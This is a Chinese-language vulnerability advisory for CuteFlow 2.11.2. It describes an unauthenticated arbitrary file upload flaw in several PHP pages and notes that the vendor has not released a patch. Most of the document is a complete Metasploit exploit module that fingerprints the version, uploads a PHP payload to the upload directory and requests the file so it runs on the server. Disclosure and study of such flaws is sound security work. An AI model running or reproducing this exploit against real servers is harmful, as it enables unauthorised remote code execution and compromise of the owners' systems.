发布日期：2012-07-01
更新日期：2012-07-01

受影响系统：

CuteFlow CuteFlow 2.11.2

描述：

---

CuteFlow是一个基于Web的文档流通和工作流工具。

CuteFlow 2.11.2及之前版本pages/restart_circulation_values_write.php、pages/editcirculation_write.php和pages/restart_circulation_write.php页面允许向webroot目录内上传任意扩展名的文件，且在文件上传后攻击者可直接访问已上传的文件。远程攻击者可利用该漏洞执行任意PHP代码。

<*来源：Brendan Coles
  
  链接：http://osvdb.org/show/osvdb/84289
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
            'Description'    => %q{
                This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
                This application has an upload feature that allows an unauthenticated
                user to upload arbitrary files to the 'upload/___1/' directory
                and then execute it.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
                ],
            'References'     =>
                [
                    ['URL', 'http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/']
                    #['OSVDB', ''],
                    #['EDB',   ''],
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['Automatic Targeting', { 'auto' => true }]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jul 27 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
            ], self.class)
    end

    def check

        base  = target_uri.path
        base << '/' if base[-1, 1] != '/'
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => "#{base}"
        })

        if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
            return Exploit::CheckCode::Vulnerable
        elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end

    end

    def upload(base, fname, file)

        # construct post data
        boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
        data_post  = "--#{boundary}\r\n"
        data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
        data_post << "Content-Type: text/php\r\n"
        data_post << "\r\n"
        data_post << file
        data_post << "\r\n"
        data_post << "--#{boundary}\r\n"

        # upload
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => "#{base}pages/restart_circulation_values_write.php",
            'ctype'   => "multipart/form-data; boundary=#{boundary}",
            'data'    => data_post,
        })

        return res
    end

    def exploit
        base  = target_uri.path
        base << '/' if base[-1, 1] != '/'
        @peer = "#{rhost}:#{rport}"

        # upload PHP payload to upload/___1/
        print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
        fname = rand_text_alphanumeric(rand(10)+6) + '.php'
        php   = %Q|<?php #{payload.encoded} ?>|
        res   = upload(base, fname, php)
        if res.nil?
            print_error("#{@peer} - Uploading PHP payload failed")
            return
        end

        # retrieve and execute PHP payload
        print_status("#{@peer} - Retrieving file: #{fname}")
        send_request_raw({
            'method' => 'GET',
            'uri'    => "#{base}upload/___1/#{fname}"
        })

        handler
    end
end

建议：

---

厂商补丁：

CuteFlow
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.cuteflow.org/

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